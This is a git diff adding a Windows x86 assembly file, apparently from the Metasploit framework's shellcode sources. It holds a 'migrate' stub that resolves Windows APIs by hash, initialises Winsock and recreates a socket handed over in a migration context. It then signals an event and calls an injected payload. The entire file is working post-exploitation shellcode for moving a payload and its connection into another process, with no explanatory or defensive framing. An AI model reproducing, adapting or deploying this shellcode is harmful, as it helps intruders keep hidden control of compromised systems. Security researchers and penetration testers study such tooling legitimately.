diff --git a/external/source/shellcode/windows/x86/src/single/migrate.asm b/external/source/shellcode/windows/x86/src/single/migrate.asm
new file mode 100644
index 0000000000..b3acad7220
--- /dev/null
+++ b/external/source/shellcode/windows/x86/src/single/migrate.asm
@@ -0,0 +1,66 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (Jan 2010)
+; Size: 219 bytes
+; Build: >build.py migrate
+;-----------------------------------------------------------------------------;
+
+; typedef struct MigrateContext
+; {
+; 	union
+; 	{
+; 		HANDLE hEvent;
+; 		BYTE bPadding1[8];
+; 	} e;
+; 	union
+; 	{
+; 		LPVOID lpPayload;
+; 		BYTE bPadding2[8];
+; 	} p;
+; 	WSAPROTOCOL_INFO info;
+; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
+
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  mov esi, [esp+4]       ; ESI is a pointer to our migration stub context
+  sub esp, 0x2000        ; Alloc some space on stack
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+delta:                   ;
+%include "./src/block/block_api.asm" ;
+start:                   ;
+  pop ebp                ; Pop off the address of 'api_call' for calling later.
+  
+  push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
+  push 0x5F327377        ; ...
+  push esp               ; Push a pointer to the "ws2_32" string on the stack.
+  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
+  call ebp               ; LoadLibraryA( "ws2_32" )
+  
+  mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
+  sub esp, eax           ; alloc some space for the WSAData structure
+  push esp               ; push a pointer to this stuct
+  push eax               ; push the wVersionRequested parameter
+  push 0x006B8029        ; hash( "ws2_32.dll", "WSAStartup" )
+  call ebp               ; WSAStartup( 0x0190, &WSAData );
+  
+  push eax               ; If we succeed, eax wil be zero, push zero for the flags param.
+  push eax               ; Push null for reserved parameter
+  lea ebx, [esi+16]      ; 
+  push ebx               ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
+  push eax               ; We do not specify a protocol
+  inc eax                ;
+  push eax               ; Push SOCK_STREAM
+  inc eax                ;
+  push eax               ; Push AF_INET
+  push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
+  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
+  xchg edi, eax          ; Save the socket for later, we don't care about the value of eax after this
+  
+  push dword [esi]       ; Push the event
+  push 0x35269F1D        ; hash( "kernel32.dll", "SetEvent" )
+  call ebp               ; SetEvent( hEvent );
+  
+  call dword [esi+8]     ; Call the payload...